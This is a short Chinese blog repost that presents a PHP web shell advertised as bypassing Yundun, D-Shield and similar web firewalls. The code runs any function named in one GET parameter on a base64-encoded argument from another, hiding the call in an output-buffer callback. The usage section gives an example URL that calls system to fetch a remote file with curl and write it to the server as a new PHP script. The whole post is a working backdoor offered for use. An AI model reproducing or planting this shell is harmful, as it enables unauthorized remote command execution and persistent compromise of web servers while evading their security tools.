[脚本编程] 过云盾、D盾各种盾shell

最新推荐文章于 2024-05-09 11:59:10 发布

weixin_30344795

最新推荐文章于 2024-05-09 11:59:10 发布

阅读量703

点赞数

CC 4.0 BY-SA版权

文章标签：数据库

原文链接：http://www.cnblogs.com/dongchi/p/4975560.html

本文介绍了一种通过特定参数调用PHP脚本的方法，能够绕过云盾等安全防护，实现远程代码的执行与写入。示例中利用了system函数与curl结合，从远程服务器获取代码并写入本地文件。

作者：

dean


<?php
 
//过云盾、D盾各种盾shell
$id = $_GET['id'];
//debug
echo $catid = isset($_GET['catid'])?base64_decode($_GET['catid']):'';
$s = '';
foreach(array($id) as $v){
    $s.=$v;
}
ob_start($s);
if($catid){
        echo $catid;
}
ob_end_flush();
?>

用方法

参数 id : 需要执行的函数
参数catid : 函数的参数(需要用base_64encode函数转一下)

例如:

http://www.php0.net/test.php?id=system&catid=Y3VybCBodHRwOi8vbG9jYWxob3N0L20udHh0ID4yLnBocA==

则调用system函数，而参数内容为: curl http://localhost/m.txt >2.php

读取远程的代码，并写入本地。

转载于:https://www.cnblogs.com/dongchi/p/4975560.html